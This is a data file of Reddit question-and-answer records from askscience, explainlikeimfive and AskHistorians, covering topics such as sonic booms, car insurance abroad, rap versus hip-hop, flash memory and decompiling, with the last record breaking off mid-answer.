{"q_id": "xdfy9", "title": "Thought experiment: Would a row of tiny speakers, emitting a noise sequentially, but very rapidly, cause a sonic boom?", "selftext": "So, here's the set up: you get a long rail, and plant tiny speakers along it.\n\nNow wire up the circuit so that speaker number 1 emits a 'beep', and then the second one, and the third one, and so on.\n\nIf you were now to reduce the gap of time between subsequent speakers such that the speed propagation along the rail was faster than the speed of sound, would this set up generate a sonic boom?\n\nAlso, what would happen if you recreated this experiment with LED and a propagation speed faster than light? What would that look like?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xdfy9/thought_experiment_would_a_row_of_tiny_speakers/", "answers": {"a_id": ["c5leqot", "c5lfrw2", "c5lfto7"], "score": [8, 3, 26], "text": ["No, nothings actually moving to break the sound barrier. To an observer it would just sound like the sounds are closer together than they are. ", "In the case of the LEDs it would just look like they were lighting up in reverse. (Depending on where you set up your camera.) Light from the closest one would hit your high-speed camera before light from the farthest, despite the fact that the farthest one was lit first. ", "This is almost identical to the \"lighted Marquee\" thought experiment for exceeding the speed of light - the idea that a sequential series of bulbs could be timed such that it appears that the \"light\" on the marquee is moving faster than the speed of light. The issue is that the light itself is not moving - it is simply turning on and off at a point in space. The movement is an illusion - the light is not traveling \"around\" the marquee, it is just that individual bulbs turn on and off.\n\nIn the same way, the beep is not moving *along* the rail, but rather each individual speaker is simply emitting a beep, in sequence. No sonic boom would happen, because at no point is any single speaker breaking the sound barrier in any way.\n\nEdit: I should also point out, because some are talking about constructive interference, that constructive interference in this case could possibly lead to the beep getting *louder,* but will not fundamentally cause the compression into a shock wave that constitutes a sonic boom. That sort of compression necessitates something moving through the medium faster than the medium can move out of the way. A sonic boom is not simply a \"loud noise\" which you could achieve with constructive interference, it is a very specific kind of physical phenomenon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1hs8fl", "title": "If I wake up from a nightmare in the middle of the night with a high heart rate. Did the nightmare give me an increased heart rate, or did an increased heart rate manifest into a nightmare while I was sleeping?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1hs8fl/if_i_wake_up_from_a_nightmare_in_the_middle_of/", "answers": {"a_id": ["caxdv61"], "score": [2], "text": ["It depends. It can be either IMHO.\n\nIf you had a bad day for example, and something terrifying happened to you (also causing an increase in HR), then that might influence your dreaming and cause increased HR.\n\nAlternately, an increased HR during sleep might cause physiological stress leading to nightmare content.\n\nTo make it more complicated (and it is), there's this thing called state-based memory. In short, it means that recollections are tied to specific physiological/psychological states and if you're in that state it enables you to more easily recall information encoded in that state.\n\nSo, an arbitrary increase in HR during sleep could cause you to recall nightmarish occurrences, and in fact that may have feedback where that further increases your HR, or vice versa (exacerbates the nightmare instead).\n\nTo sum it up it's a two way relationship, these things are very intimately tied together. I'd suggest doing a quick web search for \"state based memory psychology\" if you have interest in the subject."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1b4m3y", "title": "can someone please explain to me how the pga tour works? (fedex cup, majors, standings, schedule)", "selftext": "I really enjoy watching golf tournaments, but I have trouble wrapping my head around all the technicalities of standings, playoffs, and the significance of particular tournaments.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1b4m3y/eli5_can_someone_please_explain_to_me_how_the_pga/", "answers": {"a_id": ["c93jshx"], "score": [3], "text": ["This is a complicated topic, but I'll try, and feel free to ask for more detail on any part...\n\nThe \"PGA Tour\" is an organization that basically coordinates the running of all the individual 4-day tournaments that make up professional golf in the US.  The PGA Tour has split tournaments into a few categories; the important ones are the Majors (the highest profile tournaments with the best golfers participating), and the Regular tournaments, which fill in the rest of the weeks between Majors.\n\nEach tournament has a sponsor, and field of players is determined by a combination of the PGA and the sponsor.  The PGA issues \"Tour Cards\" to qualifying golfers - golfers who have passed a qualification test (Q-School), golfers who have won tournaments in the previous 1-5 years, or golfers with sufficient lifetime tournament wins.  Any holder of a currently valid Tour Card can enter any regular tournament; the Majors often have stricter criteria.  The remainder of the field is filled in with golfers selected by the sponsor.\n\nThe PGA, for a very long time, did not have a very easy to understand method of telling the public who was the best golfer so far that year.  You can't compare the score on one course to the score on a different course, so you can't just sum up or average a golfer's round scores - a 72 at one course is awesome, but at an easier course, 72 might be considered a horrible score.  So they came up with the FedEx cup.  \n\nThe FedEx cup is a points-based system.  The PGA decides a total number of points available for each tournament, which can vary from tournament to tournament.  Golfers are awarded points based on their finish position in the tournament.  Towards the end of the year, the points leaders are invited into a series of playoff events, finishing with the \"Tour Championship\" tournament.  The winner of that tournament gets the FedEx cup for the next year.\n\nPrior to the FedEx cup, the PGA had zillions of different standings listings - and nobody could decide which was more important... there was the \"money leader\" list, which tracked the amount of money a golfer won in a year (until 2013 this was a qualifier for getting a Tour Card; in 2013, it converts to FedEx cup points).  They have lists of how many tournaments a golfer has won, how many majors they have won, and all kinds of other lists.  The FedEx cup was a response to all these lists, giving fans an easy, points-based system to follow.\n\nThe schedule starts in January in Hawaii, runs through the west coast through the winter, through the south and east in the spring and early summer, and heads to the north and midwest in the summer.  The season ends in Late September with the Tour Championship.\n\n*whew*... anything else? :)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5pk33j", "title": "explain it like i'm an old white guy, what is the difference between rap and hip-hop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5pk33j/eli5explain_it_like_im_an_old_white_guy_what_is/", "answers": {"a_id": ["dcrt3sh", "dcs19gg", "dcs3qc0", "dcs3zbb", "dcs9hdr", "dcsbwvr", "dcsdbrm", "dcsiqyq", "dcsjtjm"], "score": [553, 185, 16, 42, 9, 3, 2, 8, 3], "text": ["Rap is simply the act of rapping, which is spoken word lyricism, usually with a flow or delivery that matches the beat it's delivered over. Rap is often utilised in hip-hop music, but you can have hip-hop music without rap. Rap is also utilised heavily in grime and, to a lesser extent, metal and rock, and I'm sure also in a plethora of other genres that I'm personally unaware of.\n\nHip-hop is a culture, but is often also used to describe a music genre born of this culture. Hip-hop music is often  associated with DJing, turntabling, scratching and sampling. As previously stated, rapping is often a part of Hip-hop music but is not a necessity. \n\nEdit: there's so much more that I could put in this, but for the sake of assuming OP is an old man after a quick answer I tried to make it quite concise. There are a lot of aspects of Hip-hop culture that I've not included, some great examples are given by others in this thread ", "Rap is to Hip-hop what Singing is to Jazz. Jazz can exist without singing, singing is an element of jazz that is optional and not limited to jazz alone. Singing can also be found in other genres and jazz without singing is still jazz. \n\nEqually hip-hop can exist without rap, rap is an element of hip-hop that is optional. There's a ton of instrumental hip-hop or music with just singing that I would still categorize as hip-hop. Also rap isn't limited to hip-hop alone. Nu-metal (Linkin Park) is a good example but by now most major genres feature rap at some point. Also, as others have mentioned, hip-hop turned into a culture that reaches beyond music (graffiti, dance, etc) ", "KRS-ONE said it best :\n\n\"Rappers spit rhymes that are mostly illegal\nEmcees spit rhymes to uplift their people\"\n\nRapping is a specific musical/literary form that is about battling and being hard - showing off your lyrical skills and boasting. Hip hop is a larger cultural movement that includes more than just rapping, more than just music and is generally thought of as more positive than rap - although it also includes rap. ", "\"rap is something you do, hip hop is something you live\" KRS1.\n\nrap is the music of hip hop culture.", "I'm going to get downvoted, but the distinction was invented in the mid 90s by a rapper named KRS-One. He wanted to distinguish between the popular rap of the time and the underground stuff that was going in different directions. ", "Check out a movie called \"Style Wars\". All you need to know. _URL_0_ ", "\"Rapping\" itself is the vocal piece of the music, the same as \"singing\". There is no difference between rap music and hip-hop music. There is no difference other than contrived ass definitions from people that think all mainstream hip-hop is bad. The one exception I can think of would with instrumental hip-hop. It'd be weird to tall that rap music, because there are no lyrics.\n\n \"Hip-hop\" is a culture/movement too.", "Most of the answers here are only getting it partly right.\n\nDJ Afrika Bambaataa was one of the originators of HipHop. At the outset, he identified four elements to Hip Hop culture: rapping, breakdancing, graffiti and djing.\n\nThese days, most people don't practice all four. But the word Hip Hop still refers to those elements, with rapping and DJing being the most popularly associated with the term.", "Hip Hop is a culture with 4 main elements to represent them;\n\n\n1. Emcees who are lyricists that rap on tracks.\n\n2. B-Boys who are the dancers to the music\n\n3. Graffiti which is the visual art form of Hip Hop\n\n4. DJs who are the ones that mix and play and spread the musical part of Hip Hop. \n\nThere is also the lost element which ultimately began the rise of hip hop which is \n\n5. Knowledge The term Hip Hop comes from the roots of being Hip which means to be aware and Hop which is a movement to keep it moving and be aware of the world around you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Style_Wars"], [], [], []]}
{"q_id": "94o00p", "title": "why is it that people can react to thing faster when it\u2019s unexpected?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94o00p/eli5_why_is_it_that_people_can_react_to_thing/", "answers": {"a_id": ["e3np8rl"], "score": [2], "text": ["In these circumstances ,a person is doing a reflex action which bypasses the brain where usually it would decide what action it would do from a stimulus. In these cases such as touching a hot stove you automatically move away and because it bypasses the brain ,it is faster."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1x6ngb", "title": "car insurance in other countries?", "selftext": "I live in the US, and wondered how car insurance works for people in other countries. \n\nAre you required to have insurance like I am?\n\nHow does coverage work, what if you make a claim. How does that effect you? Can an insurance company drop you after a claim?\n\nWhat happens if someone hits you that is not insured? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1x6ngb/eli5_car_insurance_in_other_countries/", "answers": {"a_id": ["cf8jy3k", "cf8k5p2", "cf8k6j0", "cf8k6v0", "cf8klg5", "cf8omjs", "cf8thx0", "cf91fot"], "score": [3, 2, 2, 2, 3, 2, 2, 2], "text": ["all depends on the laws of that country or of that region.   just like the US.   \n\ninsurance wasn't always mandatory.  i think it was the late 90's or so when it became mandatory across the board.   ", "In most European countries: \n\nThe law requires you to have an at least an insurance \"against third parties\". You can't drive a car legally without one, and there are large fines if you are caught. \n\nWhen an accident happens you exchange insurance information and each one is paid by the company of the other.\n\nYou can opt-in to buy a \"full\" insurance, a more expensive one, that covers you in the event that an uninsured driver has an accident with you, or an unknown party damages your car. \n\nIf you can prove that somebody hit your car and he is uninsured you can press charges and sue him for damages, but if you don't know who did it and you don't have a full coverage in your insurance policy you pay it yourself.\n\nAs for the claims:\n\nEach insurance company has different policies. Most will have you sign a contract that says if you make a claim more than X amount of money, then they will raise the money you have to pay them for a policy.\n\nThey can't drop you, you have a contract with them, but they can ask for a higher price for your next contract (they are annual most of the time, or for 6 months), or they may deny you another contract once yours end. ", "In Russia, there are two types of car insurance.\n\nOne is compulsory (Compulsory Motor Third-Party Liability, CTPL) and covers third party claims if you cause damage. It isn't expensive and you get discounted for each successive year without claims.\n\nThe other (\"\u0421asco\") is optional, expensive, and covers everything. You can make a claim if a cat scratches your car or if it gets destroyed by a volcano, or you drive into a wall, whatever. Price can go up as you make claims, but I don't think you can be dropped.\n\nIf someone hits you that is somehow doesn't have CTPL, he gets fined (possibly even has his car seized) for not being insured and pays for your damages himself. And your Casco pays you, if you have it.", "In Australia: \nThere is Compulsory Third Party Insurance (CTP) that covers injury and death, However Comprehensive is optional. \n\nIf someone uninsured hits you, then u call your insurance company to cover you and they will deal with the rest.", "In the UK, any car that is not kept permanently off-road is required to have at the very least third-party insurance, even if the car is never driven.\n\nThere are three main \"types\" of insurance in the UK:\n\n* \"third-party\", the legal minimum, which covers payouts to anyone who needs to make a claim against the car owner (e.g. if you injure them or their property in an accident)\n* \"third-party, fire  &  theft\", which covers the owner for (fairly obviously) two other major risks\n* \"fully comprehensive\" which covers the owner for any claim he might wish to make, including \"own fault\" accidents or damage\n\nThe insurance companies all link their data to a central database which the police also have access to, and if they discover a car on the road which isn't insured they can detect that automatically, and the penalties can be quite severe.", "Most developed countries have same form of compulsory auto insurance.\n\nIn countries with universal health care, it is a lot simpler, as the insurance only has to cover property damage, not the often more expensive and contentious injuries that might occur.", "Spent some time in the middle east and from the state of some of the cars driving about it would appear that insurance isn't an issue or at least getting their vehicles fixed afterwards isn't", "In Canada, that matter is provincial, and most require the vehicle or driver to have it.\n\nIn Ontario, some level of insurance is compulsory, but is sold through a 3rd party.\n\nIn British Columbia, the province is the sole vendor of auto insurance, which you buy when you pay your yearly license fee. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "2k3a1d", "title": "If space can be warped or expanded, isn't it a physical object?", "selftext": "And if space is an object, doesn't it necessarily have boundaries? What would prevent us from passing through this physical barrier? And what is on the outside? More space?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2k3a1d/if_space_can_be_warped_or_expanded_isnt_it_a/", "answers": {"a_id": ["clhjefc", "clhk8ef", "clhlc56", "clhldhd", "clhybse"], "score": [67, 2, 2, 11, 11], "text": ["It's probably best not to think of space as a physical object, although to an extent that's more of a philosophical question, I guess. I find that it's usually not helpful to think of space as something physical - something that can be sliced, bent, twisted, and broken like soft cheese - because it often leads people to jump to incorrect conclusions about the nature of the universe. Space is not \"sucked into a black hole\", for instance.\n\nWhen we talk about space expanding or warping, you can think of it as us changing the rules of geometry, rather than us actually bending a physical thing. When space expands, it's the same as saying that the distance between objects is increasing. When gravity \"bends space\", we're saying that that there's a sort of \"space-time distance\", and that this \"distance\" between points changes when there's gravity. Or, we're saying that a \"straight line in space-time\" is something that is affected by gravity.\n\nThinking of space as a physical object may be a useful analogy, but it may really be best to think of \"bending of space-time\" etc as geometry just following different rules that you're used to: that angles, distances, and straight-lines do not follow the classical rules.", "A very simplified way to think of it would be a wire mesh. Like one of those metal sponges, but bigger so you can see the space between the wires. All physical objects, from atoms to planets are strung along those wires. If you stretch out the metal sponge, the structure of the system as a whole is distorted. Planets are farther apart, maybe not uniformly, but their positions in the actual structure of the sponge didn't change. It's still on the same spot of wire. The wire has moved, moving the planet, but the planet itself hasn't noticed any difference.", "In an abstract sense, space is an object (everything is an object), and it is within the realm of physics and physical interactions. But not all physical objects necessarily have boundaries.\n\nYou can't be outside of space, because inside/outside depends on their being space to be occupied. You can't go beyond such a boundary (if one exists), because \"go\" is a spatial action. There are a number of things that could potentially happen at such a boundary, travelling past it could push the boundary, stretching space, there could be some physical force that prevents things from crossing, or you could show up on the other side. There is also the possibility that the energy contained in your body would be converted into some non-spatial form that we don't currently understand, and converting it back into you would likely be impossible. But at this point I've gone into a bit of speculation, so I think I'll summarize.\n\nIf physical objects have to have boundaries, space might not count as a physical object. But regardless of how you define \"physical object\", you cannot leave space without fundamentally changing.", " > If space can be warped or expanded, isn't it a physical object?\n\nImagine a 2-dimensional coordinate grid, with 1 unit of distance between each point.  Now imagine it stretching so that there are 2 units of distance between each point.\n\nYou just stretched out the grid you imagined.  If you wanted to, you could imagine it twisting, or being cut apart, or anything else, too.\n\nNow ... is the grid you imagined a physical object?\n\n(Of course not!)\n\n > And if space is an object, doesn't it necessarily have boundaries?\n\nDoes the grid you imagined have boundaries?\n\n(Probably not, right?  We all imagine infinite planes regularly in geometry class in high school.)\n\n > What would prevent us from passing through this physical barrier?\n\nWhat would prevent an object on that grid from moving off of the grid?\n\n(The fact that it *does* exist on the grid, and that the dynamics of objects on the grid won't move it to a location off of the grid.  If you move objects off the grid, and want to keep the relationships between those objects sensible, you have to imagine a bigger grid with more dimensions; more degrees of freedom.)\n\nWhat I'm saying is, you could consider your grid to be a \"conceptual\" object if you wanted.  Made up purely out of abstract but logically-consistent relationships between information in your mind.  It's entirely made up out of structured information, having no physical reality to itself, yet you can still perceive it with your \"mind's eye\" so-to-speak.\n\nWell, space and time are a lot like that.  The phrase I find helps people most is to say that spacetime is an \"information structure.\"  Spacetime includes abstract but logically-consistent relationships between information in the physical world.  Information like the position, speed, number, and types of objects that exist.  The distances between those objects: the metric.  Also quantum information, like charge, spin, and other quantum numbers.  And so on.\n\nJust like how an apple, and an orange, are two different fruits, but they are still fruit ... the idea of \"a (generic) fruit\" is an abstract, conceptual thing, even though there are many specific fruits that exist in the world.  The relationships possessed by all real fruit, the relationships that link them under the label \"fruit,\" are ultimately abstract, yet they are still well-defined:  fruit have seeds, fruit grow above-ground, fruit are part of the reproductive system of a plant, etc.\n\nSpacetime is like the generic fruit:  a set of conceptual, informational, mathematically-well-defined relationships between real objects.  Objects have and conserve energy, objects generate a gravitational field, and so on.\n\nHope that helps.", "Physicist here. This is a controversial subject, but many believe like me that if something has physical properties that are governed by physical laws, then by golly it's a physical thing. That's not to say a material thing, because physical things encompass more than the material. But you're right, it has curvature, energy can be stored in it, it has a characteristic impedance.\n\nNow, as to your other question about whether all physical things have boundaries, the answer is no, of course not. Common experience of everyday *material* things says that all of those have boundaries, but that's not exhaustive. The atmosphere tails off, for example, but there's no line where you can say \"Here's where the atmosphere stops.\" And in quantum mechanics, it's generally recognized that particles are really \"everywhere\" in the sense that the wavefunction doesn't have a boundary, and there is at least some small probability (very small) that your car could suddenly appear in your living room."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2vv6sz", "title": "why do trams shake and vibrate when they go in cobblestone streets even though they are still on steel tracks?", "selftext": "The steel wheels are on steel tracks that are in cobblestone, yet the train shakes and sounds as if you are in a car going over the cobblestone. Why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vv6sz/eli5_why_do_trams_shake_and_vibrate_when_they_go/", "answers": {"a_id": ["col7jl9", "col7u3m"], "score": [2, 14], "text": ["The trams in your city are probably older models. I've never experienced this in mine.", "Without any further information about the situation youre talking about, my best *educated guess* is either\n\n 1) trams naturally vibrate due to the motion of their internal mechanism(s),  such as suspension. Note however that a well designed motor is very smooth therefore the motor is unlikely to be the source of the shaking, assuming ofcourse in the first place that the tram is powered by a DC or AC electric motor and not some reciprocating or combustion based propulsion source like an car engine.\n\n 2) another potential reason is that the tracks are either worn/damaged or the cobbles providing an uneven surface for which the tracks lie on. Think of this as creating many 'pothole-like' bumps.\n\nVibration is unavoidable in **All** real systems. Designers use their knowledge and skills to minimise it, where possible.\n\nAny corrections are welcomed.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4w9l71", "title": "what's the difference between republic of china and people's republic of china?", "selftext": "I understand that Republic of China is more capitalist, and People's Republic of China is communist.  I also know that Republic of China is based out of Taiwan.  That's it though, can someone help with the rest?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4w9l71/eli5_whats_the_difference_between_republic_of/", "answers": {"a_id": ["d655viq", "d6563cl", "d6578yf", "d65ctfe", "d65df49", "d65g7jx", "d65ouv0"], "score": [33, 87, 8, 2, 3, 5, 19], "text": ["As an ELI5: The Republic of China was the legitimate government of China from 1912, which then fought a protracted civil war against Mao Zedong (Chairman Mao)'s Communists. Mao won the war and pushed the Republic of China out into Taiwan, where it still remains. He proclaimed the People's Republic of China to be the legitimate government which is the state we have today. \n\nThe ROC still thinks of itself as the rightful government, and the PROC still wants rid of them.", "Before WW2, a nationalist party called the Kuomintang was in control of China. Back then all of China was the Republic of China. But following WW2, there was a communist revolution, and the People's Republic of China was established.\n\nThe Kuomintang retreated to Taiwan where they continued to run the government of the Republic of China, which they claimed was still the legitimate government of all of China.\n\nThe UN continued to recognise them as China's government until the 1970s, when the PRC was invited to take their place as China's representatives. The PRC has a policy that they will not have diplomatic relations with any country which recognises the ROC as a legitimate state, which is why even countries like the USA *technically* don't recognise Taiwan as a country. Although there are a few countries which do.\n\nTaiwan has now evolved into a modern democratic country. A lot of people in Taiwan don't really think it's the legitimate government of mainland China any more, and would like to drop their claims to it. \n\nBut officially declaring Taiwan as an independent country would cause problems, even though that's exactly what it is in practice. The PRC sees Taiwan as a rogue province, an integral part of China which is currently defying the legitimate government. And they have threatened to take military action if Taiwan officially declares independence.", "ELI5: Two side of an incomplete civil war.  Today called simply \"China\" and \"Taiwan\".  Analogous to North Korea and South Korea.  (In both cases, Russia backed one side and the US backed the other side.)", "The Republic of China was the government of China until the communist revolution in the 40s. The communist forces took control of all of mainland China leading to the Republic of China's government fleeing to Taiwan where it remains this day. The People's Republic of China is the current communist government that controls mainland China. The People's Republic of China claims to control the island of Taiwan (despite having no actual power there) and the Republic of China claims that mainland China still rightfully belongs to them (despite being controlled by a massively more powerful force). Very few countries officially recognize the Republic of China (although unofficially everyone treats them like a separate country) since they don't want to anger the People's Republic of China. ", "After the fall of Qing Dynasty, the Republic of China was proclaimed and lasted for a couple of decades. However the end of WW2 saw economic ruin for the ROC and as support for the Nationalist government began to dwindle, the Soviet Union helped arm the growing Communist party of China with Japanese weapons seized in Manchuria.\n\nEventually by 1949 the Communists overthrew the Nationalists, forcing them to retreat to the island of Taiwan and re-establish the Republic of China while the mainland became known as the People's Republic of China. For decades, the US did not recognize the PRC and maintained a good relationship with Taiwan while recognizing them as the true legitimate government of mainland China. However in the 70s the US finally recognized the PRC and in 1971 the UN voted to kick Taiwan from the Security Council and replace them with the PRC.\n\nWith both of these in place and with Mao's death, leading to a better economic and social reforms in the PRC, the US began doing more business with mainland China than it did with Taiwan. \n\nSo while Taiwan still claims itself to be the legitimate government of mainland China, it's allies now recognize the PRC as mainland China.", "Political Science Pro Tip: When something is called the \"people's anything\" or \"Democratic Republic of ____\"  - it's a communist state and the people have anything but freedom or choice.", "Imagine if the American Civil War ended in a 'draw' where the Confederacy won, but with Rhode Island as a Union holdout.\n\nBoth sides claim the war never ended never mind that no one's taken a shot in decades.\n\nThe Confederacy claims to own Rhode Island, and Rhode Island claims to own the entire Union and the whole affair is a minor set back.  And one calls itself the United States of America and the other calls itself the Union of States of America.\n\nMeanwhile the population doesn't care and the rest of the world just calls them America and Rhode Island.\n\nThat's the relationship between China and Taiwan."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "8o8h7t", "title": "why do slavs squat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8o8h7t/eli5_why_do_slavs_squat/", "answers": {"a_id": ["e01giyz"], "score": [3], "text": ["To understand that you really have to know the recent history of these nations.  They spent much of the 20th century under Soviet rule, and all the communist details that come with it.\n\nOne of those is the government planned housing, which provided tiny tenements for everyone.  They're small, crowded, and often not well heated or air conditioned.\n\nSo that sends a lot of people outside, since inside kinda sucks.\n\nBut you can't just *stand* outside all day, you'll get tired eventually - but in a centrally planned economy, lawn furniture is sometimes at a premium.  You could sit on the ground, but getting that tracksuit from the west was expensive and grass is also at a premium so the ground is dirty.\n\nSo you're stuck outside with nowhere to sit, what do you do?  Slav squat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4hh3zo", "title": "When did the convention of chairs and tables having four legs get started and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4hh3zo/when_did_the_convention_of_chairs_and_tables/", "answers": {"a_id": ["d2psl3z", "d2pwymj"], "score": [2, 2], "text": ["Interesting question.  The [Egyptians](_URL_1_) were building chairs with four legs by 2000 BC., and [tables](_URL_2_) also,  so perhaps the answer as to \"when\" would be, way back there in the mists of time.  Why for chairs? Begin with a seat: rectangular fits human anatomy better than triangular or circular. From there it's logical to run a support down from each corner, to hold it up.  It's also pretty straightforward to construct something with right angles- easy to lay out, measure, figure out mortise joints, etc. For tables, there's also the need to have people's legs fit underneath. Four legs works pretty well for that, though the basic [trestle table](_URL_0_) has been around at least since the Middle Ages because of  common problem with tables: they can take up a lot of useful floor space and aren't always needed.  A trestle table probably evolved from placing some boards across two saw-horse supports, which made it easy to take down and store.\n\nBut three-legged stools have always had a place, since tripods don't rock on uneven ground. It makes a low three-legged stool ideal for milking cows.", "The when appears to be pretty far back in time, well before the invention of writing.  We have Egyptian chairs recovered from tombs, and they are very well-developed, so it has to predate at least the 2500s BC (we have four-legged chairs and beds from [the mother of Khufu](_URL_5_))  So our only way of tracking the origins would be to either recover them archaeologically (unlikely if they were made of wood) or to find images of them in art.\n\nI have been able to track down Neolithic period figurines from Romania dating from approximately 4700 BC.  [Here is one image](_URL_6_) from a museum, and [here is another](_URL_3_).  According to [this book](_URL_2_) they found a whole bunch of models of sitting furniture, including three and four legged stools.  So given that chairs with four legs are so old, figuring out why is more difficult.  We don't have any reasoning from the original people.  We just have evidence that they were aware of such furniture.  My personal guess (and I emphasize that it is in fact a guess) is that four legs was the most logical option, as one can take a flat piece of wood and set it on four legs, one on each corner, and it was the most stable of all the various supporting options.\n\nAs for tables, I believe they are similar in age, though I am not aware of table images older than the contemporary Egyptian examples above.  The Egyptians used several types of tables, including four legged tables as well as three and even one-legged tables (one legged seems to be very common from the paintings that I have seen).  [This](_URL_4_) is a 4th or 5th dynasty image of a ruler on a throne with a pretty much ubiquitous one-legged table nearby.  There are certainly plenty of 4-legged tables as well, though, as can be seen in [this image here](_URL_0_).\n\nWe have examples of [chairs and tables](_URL_1_) with 4 legs (reinforced) from the Ur III period of Sumer (~2100 BC)\n\nSo the TL:DR is that furniture with 4 legs is in fact very old, but has not always been a \"convention\", per se.  Other options have always been available alongside 4-legged chairs and tables."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.colonialfurniture.us/history/history-early-american-colonial-furniture-149.htm", "http://www.touregypt.net/featurestories/furniture.htm", "http://kitchenproject.com/history/DiningRoomFurniture/WoodDiningFurniture/index.htm"], ["https://upload.wikimedia.org/wikipedia/commons/thumb/c/c1/Opening_of_the_mouth_ceremony.jpg/1024px-Opening_of_the_mouth_ceremony.jpg", "https://s-media-cache-ak0.pinimg.com/736x/e2/b9/b9/e2b9b96b318fbcc160e6bf8836bd8137.jpg", "https://books.google.com/books?id=jP5MnDHH5MoC&amp;pg=PA105&amp;lpg=PA105&amp;dq=cucuteni+neolithic+chair&amp;source=bl&amp;ots=TU_1W_91Io&amp;sig=Dqh897NVFMMxAUNiE7ZhJF9ftqw&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiEpPHu57vMAhVIej4KHffhBv4Q6AEITDAL#v=onepage&amp;q=cucuteni%20neolithic%20chair&amp;f=false", "https://s-media-cache-ak0.pinimg.com/236x/bc/a4/04/bca40430db48078a803a715c13fd12a7.jpg", "https://arsartisticadventureofmankind.files.wordpress.com/2013/02/img_6997.jpg?w=842&amp;h=1024", "https://en.wikipedia.org/wiki/Hetepheres_I", "https://upload.wikimedia.org/wikipedia/commons/3/3f/CucuteniNeolithicChair.JPG"]]}
{"q_id": "6qgvtn", "title": "how come storage devices like usb drives and memory cards etc don't need batteries?", "selftext": "Like SD/MMC cards for example don't have batteries.. I don't understand!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6qgvtn/eli5_how_come_storage_devices_like_usb_drives_and/", "answers": {"a_id": ["dkx68rc", "dkx69lg"], "score": [7, 19], "text": ["SDs don't have it's own battery because it would be a poor design choice. Whatever you plug a SD into should have its own power source (if it doesn't, then you can't do anything with it). USB has four pins: data in, data out, power, and ground. The power pin starts drawing power from whatever device you're using when it's connected.\n\nYou're question was a bit broad so I'm assuming you meant why it doesn't need a battery to transfer data or how it gets power.", "Interesting question!\n\nUSB drives and SD cards are examples of flash memory, which is based on something named \"floating-gate transistor technology\".\n\nA flash memory is made of several cells, each of which is similar to (one or more) transistor. Transistors are tiny electronic devices (technically, semiconductor devices) at the core of all electronics built in the last 50 years. \n\nA particular kind of transistor, the MOSFET, has 4 terminals: source, drain, gate, body. The important thing is that the gate has a layer separated from the body by an insulator.\n\nFloating-gate transistors are like MOSFET but with two gates: the control gate on top, and the floating gate below. The floating gate is therefore insulated *both from the control gate and from the body*.\n\nNow, another very important thing to know is that **current carries electrons**, **which** are actual particles that **can be put somewhere**.\n\nBecause of the properties of the floating-gate transistor, you can apply a current (or equivalently a voltage) to place electrons in the floating gate **and they can't get out** until you apply a particular voltage. Even if there's no applied voltage (i.e. the device is disconnected from your PC or whatever), those electrons stay there.  \n\nAs a result, an appropriate voltage can put electrons in specific floating gates, thus writing 0s in specific memory cells, while all other cells represent 1s. Since electrons are stored in floating gates, they can't get out simply by disconnecting the device, and you can carry your SD card everywhere, knowing that it still contains your data.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2zxx7j", "title": "Is it possible to \"uncompile code\" from say an executable, to whatever language the code was written in?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2zxx7j/is_it_possible_to_uncompile_code_from_say_an/", "answers": {"a_id": ["cpnd848", "cpndxuv", "cpne71p", "cpneb55"], "score": [9, 72, 8, 2], "text": ["Yes and no.  Yes, there exist programs out there that can do a decent job at extracting some editable code from an executable file, but rarely do they output the same format or functionality as the original code.  Some experienced programmers are able to reverse engineer out more pieces of functionality manually by poking and probing the program in various ways.  But no matter how much they experiment or how experienced they are or how good of a decompiler program they have- they can never ever recover 100% of the original code.  They will always be missing stuff.  At the very minimum they will be missing comments, since those are simply skipped over by the compiler when it creates the exe.  ", "The word is \"decompile\". And yes and no - usually, it can be done, but the result will be virtually unreadable compared to the original code. Usually, the decompiled source will suffer from most or all of the following problems.\n\n* It won't have any comments.\n* Macros will be expanded, so a lot of code will be duplicated.\n* Identifiers will be replaced with meaningless code names. Instead of \"`double CachedContractRanking;`\" you'll have \"`double 6m2jb;`\".\n* Any optimisations added by the compiler will be translated back into the source code, if this is even possible. (If it's not, decompiling might not be possible at all.)\n* Redundant syntax will not appear in the decompiled code. For example, for-loops might be replaced with while-loops, or even with gotos. Nice features like object-orientation might be replaced with impenetrable pointer arithmetic.\n\nThere 